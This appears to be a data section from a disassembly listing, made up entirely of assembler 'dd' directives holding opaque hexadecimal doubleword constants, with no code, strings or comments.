		dd 0A9D1D7Ch, 14C4E074h, 0A87C80B5h, 4894248Ch,	0E23C0CDDh
		dd 0CA1E7C48h, 6BA9F87h, 88C1A1DEh, 0DCBDA028h,	0B52E6B14h
		dd 0D1D841D0h, 8AB6E092h, 0CD6D9F13h, 0C42D0405h, 0E56F8000h
		dd 533D303h, 0C094FD87h, 0B0F05DE8h, 0CEE1B860h, 0CF7CBCF8h
		dd 0A2BD9519h, 86FBC328h, 0B7C88818h, 0A658A4E5h, 207831DCh
		dd 82EDA508h, 0D397E630h, 861C402Dh, 12FFF4BDh,	0AD0BE9Fh
		dd 65F46F44h, 0E67821FDh, 0DFA2EB93h, 0C80F2042h, 1E018E49h
		dd 0F04AA087h, 0C7F493FFh, 9F0C0D0h, 45CE9D88h,	0A650FF18h
		dd 1F97003Bh, 0EA2FD3EDh, 2B007AA7h, 53FD3889h,	4407F274h
		dd 0D1002DCAh, 0E0978F5Dh, 664EFB42h, 212A08B8h, 5DB95800h
		dd 0B16D1D20h, 92143BE2h, 0EBB88F80h, 6B40AE77h, 157EA418h
		dd 6B58E18h, 4722A334h,	0CD017097h, 937027DFh, 17C4C58Fh
		dd 54BBED74h, 0D2FA596h, 30B8221Dh, 236006DBh, 9EB37248h
		dd 17CE004Ah, 66837371h, 0DD605BF5h, 7949EF81h,	85C029DEh
		dd 47A3C220h, 8A0EB033h, 94755436h, 30FB3F94h, 0DA8C0300h
		dd 0DBE2EB19h, 0E6080E8h, 30F42F20h, 0FDFA1DACh, 6ED28071h
		dd 0B903DC1Ch, 68169A30h, 60CFA2F0h, 9FCAD83Bh,	106B40Eh
		dd 0EA372FABh, 38D0F49h, 1B425E61h, 44978E73h, 48807911h
		dd 4CA71098h, 0C2953714h, 6A0E0AECh, 85518C17h,	5834B400h
		dd 400CEE49h, 46574088h, 0A97B88A8h, 0B9070024h, 2094F772h
		dd 0BDE9E401h, 2BAADEE6h, 2563F189h, 0EE40382Fh, 67A50D80h
		dd 0DF0610E2h, 34638E68h, 0CEDE1E21h, 0C48580A0h, 5388C7FFh
		dd 6D82B000h, 17FAE629h, 0D8032446h, 0F6210608h, 118391Dh
		dd 59A8D668h, 834A8833h, 7B229D09h, 0E830208Dh,	0C5CBF2Dh
		dd 0CF16606Dh, 1700A2C1h, 0EA2E492Ah, 56820B19h, 2F201CBCh
		dd 71201C30h, 8542ACh, 0D0FD4023h, 2177FB45h, 212C6E37h
		dd 83A59D30h, 0A3660ABDh, 128434AFh, 7B001CBh, 40FD3976h
		dd 5CEE86BCh, 39234C30h, 0E8D782Fh, 7A83A7BDh, 79BBA0C3h
		dd 909033D2h, 51038CC0h, 3AB68F2h, 0D1582A24h, 22022288h
		dd 6F35A675h, 47BC07Fh,	0A844DF11h, 9A08856Bh, 77F48117h
		dd 0F91F96B8h, 0B890B4F1h, 0D9811080h, 0E431063Eh, 0D1DB229Bh
		dd 0A8046E42h, 7F8D2372h, 80450911h, 6FDEC131h,	2AEF74E9h
		dd 60D42F8Ah, 0FFB580BEh, 54A0E748h, 723E1921h,	5CAC269Ch
		dd 8F447A7Eh, 171744C2h, 3700B424h, 809BADFFh, 6260068Eh
		dd 0A8940F7Dh, 0BC6B5C1Ah, 36CC48F6h, 7B1C9A84h, 0D2340076h
		dd 6FEA175Dh, 0A023FC3h, 0F7A64802h, 0E0462Bh, 1D2A5673h
		dd 0A74BD832h, 0B584E402h, 80C31537h, 9E87FF94h, 36D702D1h
		dd 0E807D45Ch, 0E9BEC0A0h, 2F009979h, 24735F9Bh, 2CA96D9Ch
		dd 9C08CE6Ah, 21514671h, 0F42610CDh, 3408CA1h, 0C28236A9h
		dd 0D85E9BF9h, 4100A464h, 3E0F37F2h, 58F10797h,	878E64F3h
		dd 0EE361850h, 42849h, 0FE08815Bh, 3892E6E7h, 0AB9B3D0Ch
		dd 48B9502Eh, 7E3039A7h, 0ECEAB538h, 0C49DFB26h, 6035BF08h
		dd 36630E6h, 60DBE421h,	5030DEB4h, 0ADC74B01h, 0CC416F76h
		dd 0F2A9984h, 1FD00197h, 5841F00Dh, 0A2008AE7h,	963E166Fh
		dd 82593F30h, 0E4FC84EBh, 8228C0DEh, 9B66807Ch,	0C830BF20h
		dd 0F5C7C0A0h, 0FC0385D1h, 0B5887E18h, 0CA3000EDh, 9783FC94h
		dd 660C9EBDh, 50CB23ABh, 0AEA119AAh, 70B0682Dh,	0A08CF104h
		dd 5D978415h, 268804E8h, 3EBA5788h, 8296E786h, 5A20B8D0h
		dd 76870033h, 4E239EE4h, 0EF79064Fh, 781E5B30h,	0F5D9A107h
		dd 4590F400h, 0E937ECA0h, 4A63B9C0h, 201065Ch, 6F96A621h
		dd 0A080C489h, 6DF42429h, 2251591Ah, 30EC3040h,	0D024012Ah
		dd 3C207CCh, 0CDE5F454h, 425CC0ACh, 81C04285h, 7D4772A5h
		dd 28FE188Dh, 65784190h, 0DFDC48D4h, 239421D0h,	5DBD0AEEh
		dd 94C015B0h, 0C804488h, 0EE345DC5h, 84DB009Ah,	0C96C32BBh
		dd 0BE52C792h, 36BD82C4h, 7484AAF0h, 9383500h, 17A658h
		dd 85BFC9D4h, 0EFFD32CCh, 1521E0Ah, 8E8570D1h, 0B064C93Ch
		dd 2BFFD0C1h, 0D8707101h, 61D4EFA2h, 9E3E01ACh,	774AC794h
		dd 0B8400828h, 73DE4499h, 0B4C91860h, 0C9EECD07h, 38996018h
		dd 0A2607358h, 963E3097h, 1A030374h, 0F82E94D2h, 416E80D3h
		dd 87A10EDAh, 692A1FECh, 8B844570h, 0C035C8A4h,	7C951CC8h
		dd 98FDB702h, 62544F87h, 5A3840BBh, 0A303857Bh,	5130C2BBh
		dd 0BC4EC818h, 0E4C09788h, 0BAFE29h, 0DCA55D02h, 27AB676Ch
		dd 0B16F9715h, 0F40708B0h, 0E51700CDh, 0BB4BF72Eh, 0D5F1EF00h
		dd 0D409DC2Ah, 131093F2h, 393404BCh, 20F60FC2h,	0FCA34488h
		dd 86A4999Ah, 0C11B8AB1h, 0F881BCA6h, 0ABA5E804h, 9C487A7Dh
		dd 0C0DF8868h, 97765DBCh, 0E0FCB848h, 5DC40Dh, 0C602478Fh
		dd 57CAD21Fh, 0CCCF5224h, 9C29311Dh, 6A968109h,	4F644044h
		dd 29BB803Ah, 0BEF52C12h, 67482462h, 608844C0h,	4DABA3FFh
		dd 870198C6h, 0D8A70CADh, 0F2683254h, 28223027h, 6A02A01h
		dd 0C20BA533h, 41F1E030h, 3E7433CBh, 18D8020h, 0FE821004h
		dd 0BC6C493Fh, 0ED332480h, 0D1168614h, 5408A544h, 1F76028Dh
		dd 0A445F395h, 79E2A0A0h, 4F9D80h, 0B5D50C3Bh, 98C6165Ah
		dd 7D53A30Ah, 1D52EC7Eh, 8080119Ch, 42B9DA44h, 1FBC021Dh
		dd 264C4551h, 0A371D8A1h, 0F8A7F1B4h, 1312B808h, 0D041C662h
		dd 7558F3E1h, 80629823h, 0F918368Ch, 3711630h, 294C389Ch
		dd 30F23Eh, 0A8785F8Ah,	540642EEh, 1BC435h, 52D65672h
		dd 7C240DA6h, 26C8674Ch, 465EBC54h, 0DE800031h,	6DE924C8h
		dd 5D5AE435h, 1520B0C7h, 8CB3F429h, 50D04C12h, 9B7361h
		dd 6FBBE622h, 89C8049Eh, 51EED50Eh, 6C10411Ah, 8EE0928Bh
		dd 84A4B367h, 88811F96h, 0C000E3D0h, 4F9C5C02h,	4C118243h
		dd 0CD368CEh, 0E690D068h, 0A744194Ch, 262551C1h, 771F408h
		dd 0E16FB40Bh, 4A4C20FAh, 3E3974CBh, 0DD18D7FDh, 68E318CFh
		dd 3107A318h, 0F87CC48h, 9D02BC89h, 521A0D20h, 66074F63h
		dd 6B412DFAh, 763F849Eh, 4EBB700h, 6893DA6Dh, 44CDEA00h
		dd 0AB226F1Fh, 0E4F6D3B0h, 271A44B2h, 20604078h, 0EC80CB91h
		dd 0D3F42468h, 6D59C074h, 0BA058667h, 55160E50h, 2A23EC2Fh
		dd 8388843Ah, 0D4D35AABh, 329799C8h, 6030F0AEh,	76BACE89h
		dd 0DCFB49h, 0FA356FCFh, 19984A66h, 85A6E22h, 0BD2180B9h
		dd 0F1773567h, 96FC68h,	0C626AB8Ah, 598DE916h, 931CFC5Dh
		dd 3223483Ah, 70376202h
		dd 80906CBFh, 5EEC4F0h,	0FD5CB59Dh, 25148179h, 221F00C8h
		dd 0F47852BBh, 0D8E0379Dh, 0F53566C1h, 0CA1862CDh, 5EAE88h
		dd 0B69FDC35h, 8E6DE609h, 10173104h, 0CCC27B2Eh, 68A0B0E5h
		dd 96D8BBDFh, 0C23437A2h, 0B80C33C2h, 0DD490ACh, 0FC9F816Eh
		dd 0D5EC4C71h, 11903000h, 59A8C32Fh, 9D68039Fh,	0FCF25310h
		dd 50106ED3h, 62E3402h,	5C17403Ch, 0BA020B58h, 0E3F05BF4h
		dd 913C4394h, 0FC2C08F8h, 672B853Ah, 8D843CC4h,	626BA7D2h
		dd 0FEE1273Bh, 46148A20h, 371FC231h, 2A06070Eh,	12F0DD24h
		dd 3B94E41Bh, 3BB62320h, 49E87B1Ch, 0A801C431h,	0DA3C6A81h
		dd 185E1841h, 0D38D0576h, 7079B3A7h, 8CBEE054h,	50C34203h
		dd 0F8CF81A5h, 12FB8h, 8AA91F24h, 0B91796F1h, 9E90FA5Ch
		dd 0C9913705h, 4B4080Fh, 1901B8EDh, 2892C34Dh, 8C28EC64h
		dd 82EB8000h, 1FAB6966h, 10549A25h, 5015DEA1h, 860E7304h
		dd 0EC1FB3EFh, 202D79CAh, 960AEC7Fh, 48D404FFh,	90C4D120h
		dd 6CF26920h, 96434A08h, 0A534B400h, 9E80132Ah,	93435C0Ch
		dd 58194110h, 2C631040h, 99B90702h, 60799502h, 0B7ECB925h
		dd 209C4602h, 94F6C610h, 0CBB804D2h, 51810027h,	434B53Eh
		dd 8E1342CDh, 0E1DC9C38h, 363C6E00h, 0CC142107h, 71D6FE5Fh
		dd 24F34905h, 6000F148h, 0EC12E638h, 1E3EC094h,	0C9D44C43h
		dd 46E44836h, 0A75D399Dh, 61ECA92Eh, 502D636Dh,	0C4C8A3A8h
		dd 0AD789D07h, 98A012F9h, 77D1CA82h, 0CBF00EDAh, 0C72D8B68h
		dd 3E19DCC0h, 94FF9712h, 9DDE1C40h, 0B0B00291h,	188F1050h
		dd 0D5908CEh, 563C1E12h, 3A085608h, 397F2348h, 68008738h
		dd 723DBCC7h, 0C8C086FBh, 0E5411FA2h, 0A4EA072Eh, 0AB8168D8h
		dd 0CB6FC490h, 503CAD4Dh, 2040BA44h, 0DBAB1B66h, 7AB0D1CFh
		dd 4002727Bh, 86F5CAFDh, 0A3D483FAh, 74912DBh, 0A7744023h
		dd 4E064CE7h, 46D50D00h, 0A2119BCCh, 77497FFEh,	1A33283Ch
		dd 0E16B6180h, 3C96A96Dh, 5F2450D8h, 732A3644h,	0B459C27Ah
		dd 0A07814FFh, 87229D19h, 8888CD91h, 0C60ECE94h, 6454F69Ah
		dd 222D116Ch, 423A7848h, 9368DC41h, 8029FB6Ch, 8E7E409Ah
		dd 4D6FD904h, 0D4C82FABh, 4ACE0974h, 0F068A677h, 8083E98Dh
		dd 14740573h, 0AC1A3B12h, 4817A710h, 1B9237Ch, 66EF3570h
		dd 809C6352h, 693568BCh, 1C793CEBh, 33B6D280h, 92E23B0Eh
		dd 837D6113h, 4C313086h, 783C04EFh, 2210CF40h, 4D05796Fh
		dd 4D91F37h, 0B3F40EF8h, 0B959096Ch, 1FCCE78h, 857DF729h
		dd 39D68358h, 0DF7282F8h, 42F8147Eh, 4A932F20h,	0BFD008D0h
		dd 50E4B592h, 15B169Bh,	0BBC49321h, 0B278A3E4h,	0BA813388h
		dd 2A89D89Fh, 848D2201h, 2F36B46Bh, 3AC06093h, 2523C8h
		dd 0B4E5FAD6h, 172576E7h, 0E02C8AB1h, 0ECCB5412h, 9FE03288h
		dd 171E6A89h, 13437A70h, 0BE880503h, 1FCC9217h,	0E7D36020h
		dd 3B947FBAh, 9580F553h, 0C925507Fh, 0ACB62709h, 0DE02CB10h
		dd 38F38B66h, 2E2C00D2h, 3429B0C7h, 0F918CCD1h,	0CAC46600h
		dd 0EB5E27A5h, 2D6A096Fh, 508243D5h, 0C5091008h, 607EE44Ch
		dd 0BE116Bh, 9BEC3876h,	60EB6DBFh, 49F54500h, 0B41E1704h
		dd 6F6B094Ah, 0FC82DED3h, 5C014053h, 0F42D4D0Fh, 0BD07B404h
		dd 3B9D03CFh, 0C52A1222h, 0CC4C912Ah, 3F60728Eh, 2A645DFBh
		dd 4D50B0B5h, 3E404B94h, 0FFD012BFh, 7AFC93E0h,	1C4073A9h
		dd 998704E1h, 0F3274FD2h, 0F8354B9Ch, 0EE867807h, 0D6C41F41h
		dd 3E0B887Ch, 0B4E8EB21h, 8850308Fh, 3543C1A0h,	74849040h
		dd 11749303h, 0ECB6007Ah, 847D2C30h, 99DD31A5h,	0D7F52018h
		dd 0C7A45950h, 3588E964h, 243EC88h, 9C5CF53Ah, 0E4D9774Ch
		dd 409EF400h, 38D14DDAh, 4F05B0D4h, 0C4D3678Fh,	20802028h
		dd 61CB1F6Dh, 360C1008h, 0E65E0086h, 23CFAA87h,	7125808Ch
		dd 6F3022B1h, 0B744E138h, 0F463BC35h, 0C430CCA2h, 0F8E327E9h
		dd 0EF7CE490h, 45EBD202h, 0E07FD4C6h, 42ADAD0h,	51719003h
		dd 0E47C905Ah, 254A57A7h, 7369C98h, 0FDBD7C2Bh,	523F7256h
		dd 1D6DC387h, 0EEAC6008h, 0ED491490h, 5DBE80ECh, 99C89778h
		dd 0C60BC014h, 12F89B5Dh, 0C441126h, 0B1FE080Ch, 47EC00EEh
		dd 68A309Eh, 0B0042D12h, 9CDBF504h, 7319E7C0h, 0A4B230C8h
		dd 0DD2C2A78h, 0ECB90C90h, 0E240961Ch, 2ECF5EDh, 0F0672447h
		dd 0D0F61538h, 74985D26h, 0CB1C7A46h, 4BE1688h,	0AD26C9Ch
		dd 0A63A9CF4h, 0BE42C424h, 30F71835h, 0EC036713h, 0AB393CCBh
		dd 0AAD13080h, 46CB106Bh, 0B366B905h, 0B890CCA3h, 241DEF06h
		dd 85CCB16Fh, 885722C6h, 1201F9Ch, 26E0C4C8h, 0FA17131Bh
		dd 81EDC8CDh, 134D31A6h, 0A4C820E0h, 0C82EB355h, 9060CC61h
		dd 0C1E891h, 66B82ED4h,	13D32C9Bh, 1E1257E0h, 4C103854h
		dd 8C7FB874h, 6EE08C7Bh, 27BE0419h, 402B6348h, 0D21AFE5Ch
		dd 6A01DE28h, 0B35AF967h, 3023363Dh, 0F83029E2h, 0A53730B1h
		dd 0B7EE84F1h, 5C1A6D24h, 79304C0Ch, 0AEE7Ch, 0E85C12BAh
		dd 2805359Ah, 71E00C02h, 0E0F3653Eh, 804263DCh,	0B8C1F4D1h
		dd 7C56B903h, 0C1E903Dh, 9B17D715h, 5E94833Ch, 0E499F844h
		dd 4CDA1CA3h, 0E56801E1h, 25EF17C4h, 0E2F43330h, 56BF3093h
		dd 5262EE0Dh, 2C4C59ABh, 0F0018985h, 510907E9h,	0C8943D5Eh
		dd 247AA9A0h, 202C11B4h, 697005A0h, 0E4C9478Bh,	6E108EE0h
		dd 74003363h, 8D0CF84Bh, 0C30009EAh, 0CEA2E681h, 10A6847h
		dd 0C1F133D3h, 0EC67EB17h, 0FC3FFE5Ch, 0E3077C8Eh, 0F8882BC5h
		dd 0A6088089h, 59FFCDD9h, 7613D890h, 931040F5h,	0B8E1739Bh
		dd 85CCD800h, 29142D43h, 7B5155Ch, 0C84CF8B9h, 0CC189B15h
		dd 1DA4D400h, 0DC3D07B2h, 0E4FF20CAh, 0D6807C29h, 4951806h
		dd 6A3209D9h, 42D4830Eh, 72A28A3Fh, 4438F4A3h, 0D2A9256Dh
		dd 78BFB0E1h, 8C29BC58h, 664F7A02h, 0E2A7D96Ah,	3507269h
		dd 0D294E837h, 988EB8Dh, 280A8F06h, 9C1A899Ah, 97105400h
		dd 2EAB68F6h, 4360CCE7h, 90032C62h, 6B6D5EE3h, 26E02288h
		dd 5B8AC500h, 6E2C7C21h, 59C07D71h, 9E7CF054h, 8D796000h
		dd 8B21A7BEh, 38917Ah, 0B38CC1DDh, 0B08A9ADh, 0CF893353h
		dd 0D8C0F86Dh, 7B0AA8h,	0D0672FBAh, 1511EB12h, 3FB69205h
		dd 0E02187E4h, 81812A63h, 1FC74AF9h, 0B60EEB47h, 0A5E06441h
		dd 48C1B4ABh, 4F00C824h, 3E4F3769h, 1C3A5C16h, 83BA8023h
		dd 51DCBBB3h, 5C94F825h, 0E6CE0255h, 8E68F4FAh,	1471BC53h
		dd 4B8E2020h, 0F3D04422h, 0E994403Bh, 0C041374Ch, 276B0EC9h
		dd 70C2EDC4h, 5EE76E1Ch, 377A044Ch, 17A201F0h, 6C3A53D6h
		dd 1C8A3124h, 46C52320h, 3C06D424h, 10780110h, 3EF1763h
		dd 0A13D56F5h, 0A986E14Bh, 802CD2D5h, 8178944Bh, 3A6F98h
		dd 3E0746CCh, 2D09423Bh, 7C6E92B3h, 103CEC96h, 0F600E125h
		dd 4EF0020Bh, 172587EFh, 95D06E3Ah, 0E604488Fh,	10CC141Fh
		dd 0C41308C7h, 4148C919h, 3DEB008h, 0ED4A9825h,	9FF709A5h
		dd 0E0C3206Fh, 89E9E4F9h, 0A0CFEF60h, 279C4D7Ch, 0E034626Ah
		dd 60321662h, 80C663F8h, 19C7198Fh, 0E580D79Eh,	139B3C24h
		dd 88C5C7CBh, 0A717D4C8h, 3884872Ah, 20309882h,	7EFB2152h
		dd 0C555E21Fh, 7FDEDBC1h, 0CEC48481h, 258E09A4h, 0CCC45E21h
		dd 0E889B860h, 8030CBA2h, 0E59B16Dh, 6E061748h,	5BFB3040h
		dd 285322A3h, 0EC2038ECh, 936880CEh, 0B03DAB29h, 64C0F616h
		dd 0B8C376Fh, 0BF92C6DEh
		dd 1FCED8C0h, 465E4894h, 2B007AB7h, 7345B3A3h, 0C8C543ABh
		dd 0C6110E51h, 0F6358382h, 28138A62h, 5BB140FCh, 699DB235h
		dd 0F468C8D7h, 0AC9A2107h, 13DC200h, 56B5D5D1h,	8C350058h
		dd 5D805AB2h, 4B54722Bh, 9B098384h, 6A1816B3h, 1AE8607Ch
		dd 0F0028214h, 630438E7h, 9CE4A4h, 29D25A0Bh, 0D86792B9h
		dd 5154A302h, 41EA45EDh, 0A051E848h, 91801D07h,	79326C4Dh
		dd 970054DBh, 56DCB675h, 5D5B39h, 0DD01ECAh, 0D1DF6802h
		dd 0E41593Ah, 0E489FD82h, 1CB49D81h, 5E9024F4h,	4493CA0h
		dd 4A33B704h, 0F07083A9h, 0CB0706DCh, 0CAC50331h, 0C3D59C92h
		dd 7FAA99E9h, 2AFA7B0h,	17FC98ABh, 0ECC03E50h, 0B480622Ah
		dd 0C0514937h, 978FDE02h, 0CC7E1507h, 0CD7A2905h, 41356800h
		dd 67FFD18Eh, 0EA5E6Ch,	9D5EA424h, 62A5F400h, 6F96CA28h
		dd 20156FBAh, 95CF2242h, 1F1B645Eh, 5D4AE478h, 205E099Ch
		dd 1213205Ah, 5C91CE0Ah, 90009BABh, 0B132675Fh,	2A02306Bh
		dd 0CA467420h, 0B4F56F01h, 29E6ACFFh, 40F2509Ch, 113C1D97h
		dd 0CC398028h, 4BFCBA2Bh, 8C94D495h, 62003898h,	1E59BC7Fh
		dd 131FC4A9h, 0A591E37Ah, 199408C4h, 0F82078A8h, 180E094h
		dd 0A7C1DF24h, 0D8FC527Ah, 0CA68FF0Ah, 0D3C01060h, 25B29CF2h
		dd 7C644730h, 68670AB4h, 11ACDED3h, 356580C4h, 8C5A66F8h
		dd 0AFC244h, 0AA2355Dh,	40D5C05h, 0A4031A75h, 137B3F7h
		dd 2DE119B6h, 3A35A9B0h, 6BABAC40h, 0E5B1366h, 6D21366Eh
		dd 3C58F958h, 966AFD04h, 0E4CDD179h, 26072028h,	20919C94h
		dd 0E9B6952h, 30B1C92h,	117EBAB1h, 0FD14CB0Ch, 1721B868h
		dd 88A3DFB5h, 0AB1D3B6Ch, 87B47F5h, 188DB22h, 3451815Dh
		dd 0A4E84CD1h, 5CA8CEECh, 7CEF42A7h, 31B7042Ch,	9481C9AAh
		dd 0E448144Ah, 0AE4E8852h, 2AD21D09h, 0B2C481F2h, 7100BF2Fh
		dd 404C4451h, 21061134h, 0D434D500h, 0C593762Dh, 108A2200h
		dd 2EA0F638h, 0E9161201h, 0EB307181h, 7714101Fh, 7F5E77B5h
		dd 0C23FF866h, 0FAAA8168h, 4F9DF0A0h, 20C09AEh,	0E1D06FA0h
		dd 8E9CB607h, 0AA211EDh, 30D65E86h, 6517E30Fh, 0B8274CF4h
		dd 70AD7C61h, 78686048h, 4AB112C6h, 0BFE8227Fh,	0AC687231h
		dd 7896C227h, 356ABA00h, 0C97510E8h, 26E74407h,	6D0AD702h
		dd 417E6901h, 8114AC9Ch, 70D851ACh, 0C9C4CF00h,	70CC7D29h
		dd 0BE450347h, 0DB78594Eh, 5C4CA7DAh, 130128B3h, 0C26FB3D9h
		dd 0EE844984h, 2A4A36Ah, 0A7D78D82h, 58047693h,	8D008AE4h
		dd 8F16BF95h, 0BFD6071h, 0B964FF7Ch, 0E2FB84A5h, 2A1B10C0h
		dd 0BC968114h, 2F92D081h, 12E06242h, 0DCD040ADh, 6268F05Ch
		dd 3E9918E8h, 2CAB0E0Fh, 0BC43033h, 6BB372A5h, 0EA809491h
		dd 0E60703h, 1BEEDF61h,	0EB6170E1h, 879DD713h, 8E7AE605h
		dd 140FC084h, 0A568E36Fh, 0F1A4D22Ah, 54B9C498h, 38D23C4h
		dd 37030F8h, 207C62ACh,	0B230F12Ah, 17A70400h, 3EA5CA67h
		dd 31623437h, 0BC84E850h, 9E078C79h, 376C1684h,	0F4E197Ch
		dd 0C19960Ah, 359DA7C3h, 374CDA90h, 2FE79914h, 34C4064h
		dd 14F55112h, 0C0E4E095h, 7B2A1274h, 0B72840B6h, 7E307CEBh
		dd 40F8C4A0h, 4013A388h, 0A559632Eh, 65852550h,	6038C4C4h
		dd 0BD6F31h, 8FC710EEh,	0F2E11FB5h, 10FEE4A9h, 0F3C5679h
		dd 0D68E185Fh, 5B96F1C0h, 0C1E14DE2h, 20B5EDA5h, 188C900h
		dd 0C68F80CEh, 75711D03h, 0F4FFF17Bh, 145A9C81h, 5F0BA400h
		dd 2007D427h, 229FAACCh, 0CF7599h, 0D830EF0Dh, 37146E19h
		dd 2B9C8154h, 9B07F277h, 0EE54F7D7h, 8617EC80h,	0F56D0178h
		dd 84703120h, 1F68266Fh, 0EF84F46Eh, 58B83215h,	18C31E8h
		dd 688B182Dh, 2FE6A96Dh, 4D761005h, 0D367F077h,	0D9185949h
		dd 51893h, 572D418Eh, 3E0DA028h, 9083C8CEh, 8AF2240Fh
		dd 0A736FA63h, 186E694Fh, 0D0C88200h, 7B587956h, 54B1C017h
		dd 645BAC04h, 0F065B302h, 0CB7964F9h, 58BEE218h, 4F6FEB60h
		dd 0E5FF257Fh, 780480E4h, 31BD3EBFh, 0C00D24C2h, 9BD35474h
		dd 13BE8020h, 0E85EFEC3h, 7B47AC05h, 0E00884DAh, 8D77C05Dh
		dd 0BB46A7BCh, 0CF093222h, 82F08CBFh, 0F1C6D764h, 0C4FF016Ch
		dd 0F0D3B57Ah, 0B803868Eh, 52A6A27Dh, 54EFD2A3h, 0A850400Ch
		dd 870FBCF1h, 0A0406D23h, 0DBE0967Dh, 0C25C1E5Eh, 6960C170h
		dd 213E5393h, 0E82A6ECCh, 0DA973721h, 0E8046853h, 4242F205h
		dd 0D4DE1024h, 0ECE64D64h, 17532920h, 23778420h, 0ED07B560h
		dd 8413D494h, 2788DCCBh, 0A15231C3h, 182EB5A8h,	97FFC06Ch
		dd 5C48864Ah, 0A9D98029h, 8FFC0D49h, 3C647B00h,	934B6D14h
		dd 0BA32E471h, 0E0E14AB8h, 0A2278178h, 0AB2C214Ch, 4C622383h
		dd 6FA2BF80h, 0C0C91E93h, 0C43430DEh, 54119519h, 2B2CCD4Ch
		dd 0F6B8A830h, 15250BB4h, 0DC59ECB2h, 6DDEE4C0h, 2C755378h
		dd 245C0B2Eh, 223C225Ch, 9D4E099Ah, 16E89031h, 0FEC02088h
		dd 10F14D1Fh, 31ACFF2Fh, 64AA08D4h, 60045D17h, 70091216h
		dd 3311701Fh, 0D6AB3E80h, 84A0A888h, 60828E37h,	98C00C20h
		dd 9D592708h, 0D0DA2CC0h, 8CB66C92h, 328465Eh, 62C29F05h
		dd 29A1BF7Bh, 51A5A270h, 0E5C7C0EDh, 6E9283D0h,	618C063Fh
		dd 0C0A36F7Dh, 0F02CCE54h, 5DD3028Ch, 43309779h, 0E404C59h
		dd 0F0A95DBBh, 99372B0h, 0C5AD0776h, 5EDF0068h,	66CC2750h
		dd 13A30A40h, 0E02806ABh, 5FC8808h, 0A488644Ah,	843B8CC5h
		dd 72669335h, 0B00134CBh, 8EF1355Ch, 3238751Ch,	828BC814h
		dd 0D28854CAh, 73C24441h, 54409C0h, 8038F3A4h, 0E757A2DCh
		dd 371F555Ch, 0DCA660A5h, 0E0C5D112h, 32BC78B8h, 248008Ch
		dd 0C7E2501Bh, 461F8938h, 0F481CAD6h, 0E1A1031Ah, 9ADE9984h
		dd 84E4BC87h, 6F211665h, 22A61035h, 0D0944E67h,	2EE4556Ch
		dd 10857CA1h, 9736B903h, 7B76C023h, 0F8301876h,	0A04D491Ch
		dd 24153437h, 0A4E210h,	4E40070Dh, 880A23h, 8A29EE9Dh
		dd 96AF6135h, 8B7FC49Ah, 0EBB23C46h, 0BCEB903Fh, 60B809A4h
		dd 10010F29h, 0D034B1F4h, 7C920B22h, 98A1B579h,	942F2ACDh
		dd 75017C23h, 43ED4B3Dh, 0D16040A9h, 9B218B7h, 2FBB75A5h
		dd 3673C882h, 95A7BCD1h, 9CB891E4h, 503A3880h, 1F51B633h
		dd 0A7221D57h, 39366441h, 768B01E8h, 0A55342FAh, 24FFD0C4h
		dd 41DCF578h, 2D9BF6EFh, 9D404020h, 0DB3F9173h,	0E81A2466h
		dd 0E2B47582h, 0A3820F32h, 6083CFF3h, 87C5F5Eh,	0C8B7B314h
		dd 9368050Ch, 809CDD7h,	0A0DA06h, 84BEBB66h, 865C6A90h
		dd 35F41800h, 0D074545Fh, 28D7494Ah, 80E09E7Ah,	675A2FA1h
		dd 0CF1CCBC9h, 0B0046E3Ah, 0ECF44CEDh, 9BE60364h, 81105156h
		dd 7EDEB3A9h, 84792804h, 0E0D094BCh, 38CCCE8h, 45CA0692h
		dd 1904671Fh, 156DB7EFh, 407040B8h, 0F17C84E6h,	0B4973326h
		dd 89A86B09h, 0F0A8F211h, 0D77212A6h, 714C448Fh, 28121Dh
		dd 3FF945F8h, 34235C2Fh, 68D26701h, 34240BA3h, 0BEB11303h
		dd 85C4D127h, 0D8290909h, 6DE8CFA8h, 3A04D258h,	0F2D541C1h
		dd 993A906Dh, 8BC5168h,	0BF124106h, 0D381E404h,	1002DE09h
		dd 0A47A35C3h, 3C382C45h, 18CB9BCh, 39D1953h, 2B16A67Dh
		dd 0E7F82420h, 6D370047h, 0C38097C4h, 8A3A7B5Dh, 8F368111h
		dd 16A7EF59h, 3A2E7421h, 932318h, 68CB513Bh, 55905236h
		dd 0C96F2118h, 209A081h, 790FF17Ah, 3459E137h, 0E81888F1h
		dd 0EEA96D17h, 1E35FCE2h
		dd 904C81B9h, 0E4FDC053h, 0E7188769h, 617F64B4h, 74205A5Fh
		dd 70D189CFh, 8BFF6EACh, 50739379h, 606F0A74h, 26309AFFh
		dd 845480D0h, 0DCA03C9Fh, 3BAF6727h, 2C91B2DCh,	0A3122730h
		dd 881336Fh, 247E7129h,	0F078C228h, 10C83049h, 16DBDE19h
		dd 19A2E95Ch, 2B76390Ch, 7060D840h, 4A44A1E1h, 0C054C88Dh
		dd 3D03247Ch, 30E76C1Ch, 9BDBE0BFh, 6E0204C1h, 852AA7C4h
		dd 5204B410h, 240459D3h, 0CE019B73h, 2A98B537h,	0B4D940Eh
		dd 0F800C963h, 0A31824C3h, 3A229100h, 68D5CEC8h, 5956800Ch
		dd 0B74A1027h, 2853308Eh, 0A07A732Ah, 0A6EF1408h, 51030BE4h
		dd 88EB28B5h, 0E09C19DEh, 388465Eh, 1ABB83A3h, 14504880h
		dd 0E8239715h, 0F30E9E84h, 307CB2E8h, 0FF05012Ch, 8E81B98Fh
		dd 0FEE2F8E5h, 0E4F640E0h, 4C0F916Fh, 0A496E79Eh, 0FF09F585h
		dd 2E636030h, 9068A4A8h, 5D101500h, 4AB92A0Eh, 0ACA900B5h
		dd 25D72131h, 0A10BE3E7h, 0C8D5C137h, 818B4FE0h, 956C42C5h
		dd 93E4C047h, 1245A360h, 7D71AA0Fh, 0F155E950h,	5A308028h
		dd 0F5E467DBh, 34CCF409h, 7E0642Ah, 5C90594Ah, 186A9320h
		dd 95E8F1D8h, 4E861A17h, 2D1998A4h, 6802885Fh, 0C4DA81F1h
		dd 0B6AB830Ah, 6C2908CBh, 0D9FA0F81h, 0A5D8E8F7h, 1E4302F5h
		dd 3F9D9C95h, 8D027CD2h, 1596B16Dh, 2FF4DA92h, 5C24E051h
		dd 0CA474017h, 9F4FFC7h, 0D13557B8h, 842828F9h,	14837720h
		dd 0A80F5C4Ch, 7246110h, 496657D4h, 0A2F17FF0h,	901D5B37h
		dd 73AE7D14h, 72F9492h,	0A4948221h, 0C0FCE135h,	1C30093Fh
		dd 23430C82h, 0BAEC9809h, 0E64D04D6h, 82B666E5h, 0C620FC28h
